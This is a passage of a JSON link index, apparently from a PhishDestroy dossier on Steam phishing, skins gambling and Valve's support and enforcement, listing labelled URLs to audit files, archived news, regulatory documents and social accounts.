            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/tradeit.gg.json"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/upgrader.pro.20260921T041801Z.html"
          },
          {
            "label": "raw HTML",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-raw/upgauth.space.20260921T041804Z.html"
          },
          {
            "label": "upgrader.pro.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/upgrader.pro.json"
          },
          {
            "label": "steam_tos_assets/linkfilter-recheck-2026-09-21.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-recheck-2026-09-21.json"
          },
          {
            "label": "steam_tos_assets/domain-registration.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/domain-registration.json"
          },
          {
            "label": "linkfilter-all-results.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json"
          },
          {
            "label": "auth-route-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "wayback-snapshots.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wayback-snapshots.json"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "linkfilter-2026-09-22c.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22c.json"
          },
          {
            "label": "master_registry.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/master_registry.json"
          },
          {
            "label": "#291750",
            "url": "https://hackerone.com/reports/291750"
          },
          {
            "label": "archived 2025-11-16 ↗",
            "url": "https://web.archive.org/web/20251116185046/https://hackerone.com/reports/291750"
          },
          {
            "label": "#1079561",
            "url": "https://hackerone.com/reports/1079561"
          },
          {
            "label": "archived 2026-09-24 ↗",
            "url": "https://web.archive.org/web/20260924181830/https://hackerone.com/reports/1079561"
          },
          {
            "label": "hackerone-reports.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/hackerone-reports.json"
          },
          {
            "label": "the enforcement archive",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "DARKNAVY's technical analysis of 27 June 2024 ↗",
            "url": "https://www.darknavy.org/blog/exploiting_steam_usual_and_unusual_ways_in_the_cef_framework/"
          },
          {
            "label": "Steam Client Beta forum ↗",
            "url": "https://steamcommunity.com/groups/SteamClientBeta/discussions/0/3365901765276206401/"
          },
          {
            "label": "archived 2025-08-04 ↗",
            "url": "https://web.archive.org/web/20250804051514/https://steamcommunity.com/groups/SteamClientBeta/discussions/0/3365901765276206401/"
          },
          {
            "label": "Chromium design document ↗",
            "url": "https://www.chromium.org/developers/design-documents/safebrowsing/"
          },
          {
            "label": "archived 2026-08-21 ↗",
            "url": "https://web.archive.org/web/20260821101616/https://www.chromium.org/developers/design-documents/safebrowsing/"
          },
          {
            "label": "Chromium API keys ↗",
            "url": "https://www.chromium.org/developers/how-tos/api-keys/"
          },
          {
            "label": "archived 2026-08-30 ↗",
            "url": "https://web.archive.org/web/20260830122831/https://www.chromium.org/developers/how-tos/api-keys/"
          },
          {
            "label": "Homebrew cask #193814 ↗",
            "url": "https://github.com/Homebrew/homebrew-cask/issues/193814"
          },
          {
            "label": "testsafebrowsing.appspot.com ↗",
            "url": "https://testsafebrowsing.appspot.com/"
          },
          {
            "label": "DevSpen",
            "url": "https://github.com/DevSpen/scam-links"
          },
          {
            "label": "Discord-AntiScam",
            "url": "https://github.com/Discord-AntiScam/scam-links"
          },
          {
            "label": "PhishDestroy destroylist",
            "url": "https://github.com/phishdestroy/destroylist"
          },
          {
            "label": "Methodology · English · TXT",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/methodology.txt"
          },
          {
            "label": "Recounted results · JSON",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/summary.json"
          },
          {
            "label": "Individual files & signatures · English",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-audit-2026-10-06/"
          },
          {
            "label": "longitudinal-steam-phishing-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/longitudinal-steam-phishing-audit.json"
          },
          {
            "label": "linkfilter-steam-phishing-100.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-steam-phishing-100.json"
          },
          {
            "label": "linkfilter-coverage-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-coverage-2026-09-22.json"
          },
          {
            "label": "store.steampowered.com/oldnews/22883",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "archived 2026-09-21",
            "url": "https://web.archive.org/web/20260921021947/https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "blog.csfloat.com",
            "url": "https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "archived 2026-09-21",
            "url": "https://web.archive.org/web/20260921022415/https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "linkfilter-recheck-2026-09-21.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-recheck-2026-09-21.json"
          },
          {
            "label": "linkfilter-recheck-2026-09-21.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-recheck-2026-09-21.json"
          },
          {
            "label": "linkfilter-all-results.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json"
          },
          {
            "label": "master_registry.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/master_registry.json"
          },
          {
            "label": "linkfilter-2026-09-22.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-2026-09-22.json"
          },
          {
            "label": "auth-route-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "platform-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/platform-audit.json"
          },
          {
            "label": "platforms-removed.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/platforms-removed.json"
          },
          {
            "label": "auth-route-audit.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "linkfilter-all-results.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json"
          },
          {
            "label": "blog.csfloat.com/how-floatdb-tracks-items",
            "url": "https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "archived 2026-09-21",
            "url": "https://web.archive.org/web/20260921022415/https://blog.csfloat.com/how-floatdb-tracks-items/"
          },
          {
            "label": "RFC 6749, October 2012 ↗",
            "url": "https://datatracker.ietf.org/doc/rfc6749/"
          },
          {
            "label": "API keys documentation ↗",
            "url": "https://docs.cloud.google.com/docs/authentication/api-keys"
          },
          {
            "label": "PCI SSC resource guide ↗",
            "url": "https://listings.pcisecuritystandards.org/pdfs/PCI_DSS_Resource_Guide_(003).pdf"
          },
          {
            "label": "Upcoming Two-Factor Authentication Requirement for Account Holders, 20 February 2019 ↗",
            "url": "https://developer.apple.com/news/?id=02202019a"
          },
          {
            "label": "archived 2025-05-06 ↗",
            "url": "https://web.archive.org/web/20250506070026/https://developer.apple.com/news/?id=02202019a"
          },
          {
            "label": "token validation requirement ↗",
            "url": "https://dev.twitch.tv/docs/authentication/validate-tokens/"
          },
          {
            "label": "v5 shutdown notice ↗",
            "url": "https://discuss.dev.twitch.com/t/legacy-twitch-api-v5-i-e-kraken-shutdown-reminder-february-28-2022/36589"
          },
          {
            "label": "archived 2025-01-27 ↗",
            "url": "https://web.archive.org/web/20250127085635/https://discuss.dev.twitch.com/t/legacy-twitch-api-v5-i-e-kraken-shutdown-reminder-february-28-2022/36589"
          },
          {
            "label": "news ↗",
            "url": "https://store.steampowered.com/news/posts/?enddate=1788390000"
          },
          {
            "label": "announcement ↗",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/4123547285514022851"
          },
          {
            "label": "Skinvault ↗",
            "url": "https://skinvault.gg/blog/cs2-trade-protection-explained/"
          },
          {
            "label": "CSMarketCap ↗",
            "url": "https://csmarketcap.com/blog/market-insights/from-boom-to-bust-cs2s-trade-protection-impact"
          },
          {
            "label": "Skin.land ↗",
            "url": "https://skin.land/blog/steam-changes-cs2-trade-ban-logic-timing/"
          },
          {
            "label": "FAQ ↗",
            "url": "https://help.steampowered.com/faqs/view/3041-A87A-E5F6-B6AC"
          },
          {
            "label": "announcement ↗",
            "url": "https://steamcommunity.com/ogg/593110/announcements/detail/533224478739530146"
          },
          {
            "label": "announcement ↗",
            "url": "https://steamcommunity.com/games/CSGO/announcements/detail/4447966961421256740"
          },
          {
            "label": "FAQ ↗",
            "url": "https://help.steampowered.com/faqs/view/3041-A87A-E5F6-B6AC"
          },
          {
            "label": "post ↗",
            "url": "https://steamcommunity.com/discussions/forum/1/4202490424033360096/"
          },
          {
            "label": "dev page ↗",
            "url": "https://steamcommunity.com/dev/apikey"
          },
          {
            "label": "announcement ↗",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/3734103130194459461"
          },
          {
            "label": "forum ↗",
            "url": "https://steamcommunity.com/discussions/forum/1/3807266184852932971/"
          },
          {
            "label": "FAQ ↗",
            "url": "https://help.steampowered.com/faqs/view/225C-C51E-B8F0-55B2"
          },
          {
            "label": "news ↗",
            "url": "https://store.steampowered.com/news/group/4/view/3314112260640237775"
          },
          {
            "label": "news ↗",
            "url": "https://store.steampowered.com/news/group/4/view/3314112260640237775"
          },
          {
            "label": "issue #325 ↗",
            "url": "https://github.com/DoctorMcKay/node-steam-tradeoffer-manager/issues/325"
          },
          {
            "label": "blog ↗",
            "url": "https://blog.dota2.com/2020/05/trading-cooldown/"
          },
          {
            "label": "blog ↗",
            "url": "https://blog.counter-strike.net/index.php/2018/03/20308/"
          },
          {
            "label": "archived 2025-02-26 ↗",
            "url": "https://web.archive.org/web/20250226114333/https://blog.counter-strike.net/index.php/2018/03/20308/"
          },
          {
            "label": "the enforcement archive",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "searchable build of 2026-09-17",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "#493839547938902179 ↗",
            "url": "https://steamcommunity.com/groups/steamworks/announcements/detail/493839547938902179"
          },
          {
            "label": "store.steampowered.com/online_conduct ↗",
            "url": "https://store.steampowered.com/online_conduct"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022120/https://store.steampowered.com/online_conduct"
          },
          {
            "label": "store.steampowered.com/subscriber_agreement ↗",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-18 ↗",
            "url": "https://web.archive.org/web/20260918014700/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "steamcommunity.com/dev/apiterms ↗",
            "url": "https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022210/https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "Valve's URL policy ↗",
            "url": "https://help.steampowered.com/en/faqs/view/628C-E332-BD8C-4D36"
          },
          {
            "label": "Steam Subscriber Agreement, revision 10 September 2026",
            "url": "https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "archived 2026-09-18 ↗",
            "url": "https://web.archive.org/web/20260918014700/https://store.steampowered.com/subscriber_agreement/"
          },
          {
            "label": "Steam Web API Terms of Use",
            "url": "https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022210/https://steamcommunity.com/dev/apiterms"
          },
          {
            "label": "Steam URL policy (link obfuscation)",
            "url": "https://help.steampowered.com/en/faqs/view/628C-E332-BD8C-4D36"
          },
          {
            "label": "Read the captured complaints ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "Moderator relationship graph →",
            "url": "https://phishdestroy.io/steam_dossier/social_graph"
          },
          {
            "label": "13 July 2016",
            "url": "https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021947/https://store.steampowered.com/oldnews/22883"
          },
          {
            "label": "Security Timeline →",
            "url": "https://phishdestroy.io/steam_dossier/security_timeline"
          },
          {
            "label": "Inspect the CSGOFast route and its source ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgofast.com.json"
          },
          {
            "label": "Compare saved Steam Link Filter results ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-all-results.json"
          },
          {
            "label": "Washington Gambling Commission's 2016 notice ↗",
            "url": "https://wsgc.wa.gov/news/2016/washington-state-gambling-commission-orders-valve-stop-skins-gambling"
          },
          {
            "label": "archived 2026-05-20 ↗",
            "url": "https://web.archive.org/web/20260520012601/https://wsgc.wa.gov/news/2016/washington-state-gambling-commission-orders-valve-stop-skins-gambling"
          },
          {
            "label": "Valve's 17 October 2016 response (document copy) ↗",
            "url": "https://fr.scribd.com/document/328063293/Valve-s-Oct-18th-response-to-Washington-State-Gambling-Commission-s-cease-and-desist"
          },
          {
            "label": "WSGC briefing to the legislature, 30 January 2018 (local copy, 4 pp.) ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wsgc-skins-gambling-briefing-2018.pdf"
          },
          {
            "label": "the same file on wsgc.wa.gov ↗",
            "url": "https://wsgc.wa.gov/sites/default/files/2023-10/Skins%20Gambling.pdf"
          },
          {
            "label": "retrieval record & hash ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wsgc-briefing-manifest.json"
          },
          {
            "label": "Valve's 2018 OPSkins action ↗",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "archived 2026-03-07 ↗",
            "url": "https://web.archive.org/web/20260307161538/https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "Current route audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit.json"
          },
          {
            "label": "X: @csgobig ↗",
            "url": "https://x.com/csgobig"
          },
          {
            "label": "FB: csgobigofficial ↗",
            "url": "https://www.facebook.com/csgobigofficial/"
          },
          {
            "label": "Live Platform (500.casino) ↗",
            "url": "https://500.casino"
          },
          {
            "label": "Dossier Auth Audit ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/auth-route-audit/csgofast.com.json"
          },
          {
            "label": "Live Platform ↗",
            "url": "https://csgolounge.com"
          },
          {
            "label": "Successor Domain ↗",
            "url": "https://csgocasino.gg/"
          },
          {
            "label": "X: @CSGOatsecom (Active to 2022) ↗",
            "url": "https://x.com/CSGOatsecom"
          },
          {
            "label": "X: CSGOSweep Status Dec 2017 ↗",
            "url": "https://x.com/CSGOSweep/status/937420902538543106"
          },
          {
            "label": "X: @Wild (Active Dec 2017) ↗",
            "url": "https://x.com/Wild"
          },
          {
            "label": "X: @csgopot (Active Sep 2017) ↗",
            "url": "https://x.com/csgopot"
          },
          {
            "label": "X: @csgodiamondscom (2017) ↗",
            "url": "https://x.com/csgodiamondscom"
          },
          {
            "label": "FTC Consent Order (Docket C-4632) ↗",
            "url": "https://search.ftc.gov/legal-library/browse/cases-proceedings/162-3184-csgolotto-trevor-martin-thomas-cassell-matter"
          },
          {
            "label": "X: @CSGODouble (Closed Jul 2016) ↗",
            "url": "https://x.com/CSGODouble"
          },
          {
            "label": "X: @csgo_massive ↗",
            "url": "https://x.com/csgo_massive"
          },
          {
            "label": "FB: csgostrongfree ↗",
            "url": "https://www.facebook.com/csgostrongfree/"
          },
          {
            "label": "FB: CSNCOM ↗",
            "url": "https://www.facebook.com/CSNCOM/"
          },
          {
            "label": "WSGC Legislative Report PDF (Local Copy) ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/wsgc-skins-gambling-briefing-2018.pdf"
          },
          {
            "label": "FTC Decision & Consent Order ↗",
            "url": "https://search.ftc.gov/legal-library/browse/cases-proceedings/162-3184-csgolotto-trevor-martin-thomas-cassell-matter"
          },
          {
            "label": "UKGC 2018 youth survey ↗",
            "url": "https://www.gamblingcommission.gov.uk/news/article/gambling-commission-publishes-new-report-on-children-and-gambling-trends"
          },
          {
            "label": "UKGC position on virtual currencies ↗",
            "url": "https://www.gamblingcommission.gov.uk/licensees-and-businesses/guide/page/digital-and-virtual-currencies"
          },
          {
            "label": "Parliament of Australia Inquiry ↗",
            "url": "https://www.aph.gov.au/Parliamentary_Business/Committees/Senate/Environment_and_Communications/Gamingmicro-transactions/Report"
          },
          {
            "label": "Valve's announcement ↗",
            "url": "https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "archived 2026-03-07 ↗",
            "url": "https://web.archive.org/web/20260307161538/https://blog.counter-strike.net/expresstrade/"
          },
          {
            "label": "linkfilter-recheck-2026-09-21.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/linkfilter-recheck-2026-09-21.json"
          },
          {
            "label": "domain-registration.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/domain-registration.json"
          },
          {
            "label": "evidence archive",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "Inspect the item-level register →",
            "url": "https://phishdestroy.io/steam_dossier/elite_skins#register"
          },
          {
            "label": "Recalculate from the 245-row CSFloat snapshot ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/csfloat-catalogue.json"
          },
          {
            "label": "PriceEmpire's public comparison ↗",
            "url": "https://pricempire.com/cs2-marketplaces"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022459/https://pricempire.com/cs2-marketplaces"
          },
          {
            "label": "dated 39-row extraction ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/priceempire-marketplaces.json"
          },
          {
            "label": "SteamAnalyst's marketplace directory",
            "url": "https://www.steamanalyst.com/marketplace"
          },
          {
            "label": "archived 2026-07-19 ↗",
            "url": "https://web.archive.org/web/20260719014552/https://www.steamanalyst.com/marketplace"
          },
          {
            "label": "Steam Market FAQ ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "Steam Subscriber Agreement ↗",
            "url": "https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022032/https://store.steampowered.com/agreement/?l=english"
          },
          {
            "label": "Five-marketplace atlas dataset ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-atlas.json"
          },
          {
            "label": "Provenance manifest ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/cs2sh-manifest.json"
          },
          {
            "label": "Earlier CSFloat snapshot ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/csfloat-catalogue.json"
          },
          {
            "label": "Skinport snapshot ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/skinport-floor-over-cap.json"
          },
          {
            "label": "PriceEmpire ↗",
            "url": "https://pricempire.com/cs2-marketplaces"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022459/https://pricempire.com/cs2-marketplaces"
          },
          {
            "label": "SteamAnalyst ↗",
            "url": "https://www.steamanalyst.com/marketplace"
          },
          {
            "label": "archived 2026-07-19 ↗",
            "url": "https://web.archive.org/web/20260719014552/https://www.steamanalyst.com/marketplace"
          },
          {
            "label": "Price-gap register ↗",
            "url": "https://phishdestroy.io/steam_dossier/elite_skins"
          },
          {
            "label": "Price-ladder atlas ↗",
            "url": "https://phishdestroy.io/steam_dossier/skin_atlas"
          },
          {
            "label": "Read the complete captured post ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#case-support-recovery"
          },
          {
            "label": "OWASP access-control guidance ↗",
            "url": "https://top10.owasp.org/2025/A01_2025-Broken_Access_Control/"
          },
          {
            "label": "archived 2026-09-20 ↗",
            "url": "https://web.archive.org/web/20260920212535/https://top10.owasp.org/2025/A01_2025-Broken_Access_Control/"
          },
          {
            "label": "Privacy Policy §§ 3, 5.2",
            "url": "https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921021648/https://store.steampowered.com/privacy_agreement/"
          },
          {
            "label": "Dexerto, 21 February 2023 ↗",
            "url": "https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "archived 2025-08-18 ↗",
            "url": "https://web.archive.org/web/20250818113925/https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "Dexerto, 14 November 2025 ↗",
            "url": "https://www.dexerto.com/counter-strike-2/valve-saves-hacked-cs2-player-threatened-with-ransom-over-300000-of-rare-stickers-3283135/"
          },
          {
            "label": "Dexerto, 21 Jun 2022 ↗",
            "url": "https://www.dexerto.com/csgo/over-2-million-in-csgo-skins-stolen-from-hacked-steam-account-1853092/"
          },
          {
            "label": "archived 2022-07-02 ↗",
            "url": "https://web.archive.org/web/20220702042821/https://www.dexerto.com/csgo/over-2-million-in-csgo-skins-stolen-from-hacked-steam-account-1853092/"
          },
          {
            "label": "Kaspersky ↗",
            "url": "https://www.kaspersky.com/blog/cs-go-two-million-usd-inventory-hack/44697/"
          },
          {
            "label": "Esportfire, 22 Jun 2022 ↗",
            "url": "https://esportfire.com/article/the-2-million-usd-csgo-hack-22062022"
          },
          {
            "label": "archived 2026-05-15 ↗",
            "url": "https://web.archive.org/web/20260515110250/https://esportfire.com/article/the-2-million-usd-csgo-hack-22062022"
          },
          {
            "label": "Esportsbetting, 14 Jul 2022 ↗",
            "url": "https://esportsbetting.com/valve-deletes-130000-stolen-dragon-lore/"
          },
          {
            "label": "Esportfire, 14 Aug 2022 ↗",
            "url": "https://esportfire.com/article/the-biggest-hack-in-csgo-history-csmoney-14082022"
          },
          {
            "label": "archived 2025-11-15 ↗",
            "url": "https://web.archive.org/web/20251115173120/https://esportfire.com/article/the-biggest-hack-in-csgo-history-csmoney-14082022"
          },
          {
            "label": "Dexerto, 21 Feb 2023 ↗",
            "url": "https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "archived 2025-08-18 ↗",
            "url": "https://web.archive.org/web/20250818113925/https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "VKPlay ↗",
            "url": "https://vkplay.ru/media/news/bloger-rasskazal-kak-podderzhka-steam-vorovala-akkaunty-igrokov/"
          },
          {
            "label": "Lis-Skins ↗",
            "url": "https://lis-skins.com/ru/blog/krupneisaia-mosenniceskaia-sxema-v-istorii-steam/"
          },
          {
            "label": "Escorenews (RU) ↗",
            "url": "https://escorenews.com/ru/csgo/news/44056-sotrudniki-podderjki-steam-zanimalis-krajey-skinov-s-akkauntov-za-god-oni-zarabotali-svyshe-300-tysyach-dollarov"
          },
          {
            "label": "Dexerto (EN) ↗",
            "url": "https://www.dexerto.com/csgo/csgo-skins-worth-millions-allegedly-stolen-with-help-from-steam-support-staff-2066939/"
          },
          {
            "label": "Preserved post, 2 Dec 2024 ↗",
            "url": "https://www.reddit.com/r/cs2/comments/1h53qp3/steam_support_is_stealing_accounts_again/"
          },
          {
            "label": "archived 2025-08-05 ↗",
            "url": "https://web.archive.org/web/20250805141942/https://www.reddit.com/r/cs2/comments/1h53qp3/steam_support_is_stealing_accounts_again/"
          },
          {
            "label": "source rows & hashes ↓",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/outsourcing-archive-records.json"
          },
          {
            "label": "Skin.club ↗",
            "url": "https://community.skin.club/en/news/collector-has-steam-inventory-returned-after-bold-hack"
          },
          {
            "label": "Dexerto ↗",
            "url": "https://www.dexerto.com/counter-strike-2/valve-saves-hacked-cs2-player-threatened-with-ransom-over-300000-of-rare-stickers-3283135/"
          },
          {
            "label": "Esportfire ↗",
            "url": "https://esportfire.com/article/300k-scam-full-katowice-2014-holo-collection-hacked"
          },
          {
            "label": "archived 2025-12-17 ↗",
            "url": "https://web.archive.org/web/20251217072445/https://esportfire.com/article/300k-scam-full-katowice-2014-holo-collection-hacked"
          },
          {
            "label": "Read the regulation ↗",
            "url": "https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "archived 2026-09-20 ↗",
            "url": "https://web.archive.org/web/20260920024236/https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "Read the ticket sequence and full image →",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals.html#recovery-2026"
          },
          {
            "label": "Search the expanded support collection →",
            "url": "https://phishdestroy.io/steam_dossier/support_canned_refusals.html#support-browser"
          },
          {
            "label": "Valve's Community Market fee schedule ↗",
            "url": "https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022227/https://help.steampowered.com/en/faqs/view/61F0-72B7-9A18-C70B"
          },
          {
            "label": "the New York Attorney General filed an action",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "archived 2026-09-01 ↗",
            "url": "https://web.archive.org/web/20260901015430/https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "FinCEN FIN-2019-G001, §§ 1–2, 5.1 ↗",
            "url": "https://www.fincen.gov/sites/default/files/2019-05/FinCEN%20CVC%20Guidance%20FINAL.pdf"
          },
          {
            "label": "archived 2025-07-11 ↗",
            "url": "https://web.archive.org/web/20250711185007/https://www.fincen.gov/sites/default/files/2019-05/FinCEN%20CVC%20Guidance%20FINAL.pdf"
          },
          {
            "label": "EU criminal-law framework ↗",
            "url": "https://eur-lex.europa.eu/legal-content/EN/LSU/?uri=CELEX:32018L1673"
          },
          {
            "label": "Article 78 ↗",
            "url": "https://eur-lex.europa.eu/eli/dir/2024/1640/oj/eng"
          },
          {
            "label": "archived 2026-08-30 ↗",
            "url": "https://web.archive.org/web/20260830153004/https://eur-lex.europa.eu/eli/dir/2024/1640/oj/eng"
          },
          {
            "label": "DSA: Articles 6, 8, 16, 52, 53, 93 and recital 17 ↗",
            "url": "https://eur-lex.europa.eu/eli/reg/2022/2065/oj/eng"
          },
          {
            "label": "archived 2026-09-20 ↗",
            "url": "https://web.archive.org/web/20260920080125/https://eur-lex.europa.eu/eli/reg/2022/2065/oj/eng"
          },
          {
            "label": "Review preserved complaints ↗",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "Full legal & economic analysis →",
            "url": "https://phishdestroy.io/steam_dossier/legal_analysis"
          },
          {
            "label": "Steamworks OpenID documentation ↗",
            "url": "https://partner.steamgames.com/doc/features/auth#website"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921022335/https://partner.steamgames.com/doc/features/auth"
          },
          {
            "label": "FTC: COPPA requirements ↗",
            "url": "https://www.ftc.gov/legal-library/browse/rules/childrens-online-privacy-protection-rule-coppa"
          },
          {
            "label": "archived 2026-09-21 ↗",
            "url": "https://web.archive.org/web/20260921070051/https://www.ftc.gov/legal-library/browse/rules/childrens-online-privacy-protection-rule-coppa"
          },
          {
            "label": "2026 New York complaint announcement",
            "url": "https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "archived 2026-09-01 ↗",
            "url": "https://web.archive.org/web/20260901015430/https://ag.ny.gov/press-release/2026/attorney-general-james-sues-game-developer-promoting-illegal-gambling-through"
          },
          {
            "label": "gdpr-ticket-1.png",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/gdpr-ticket-1.png"
          },
          {
            "label": "screenshot-manifest.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/screenshot-manifest.json"
          },
          {
            "label": "gdpr-ticket-2.png",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/gdpr-ticket-2.png"
          },
          {
            "label": "screenshot-manifest.json",
            "url": "https://phishdestroy.io/steam_dossier/steam_tos_assets/screenshot-manifest.json"
          },
          {
            "label": "16,319 preserved complaint and support records",
            "url": "https://phishdestroy.io/steam_dossier/steam_evidence_archive"
          },
          {
            "label": "354 de-duplicated support exchanges",
            "url": "https://phishdestroy.io/steam_dossier/steam_enforcement_evidence#support-records"
          },
          {
            "label": "HmbBfDI complaint form ↗",
            "url": "https://datenschutz.hamburg.de/beschwerde"
          },
          {
            "label": "GDPR text (Art. 12, 15, 77) ↗",
            "url": "https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "archived 2026-09-20 ↗",
            "url": "https://web.archive.org/web/20260920024236/https://eur-lex.europa.eu/eli/reg/2016/679/oj/eng"
          },
          {
            "label": "EDPB guidelines ↗",
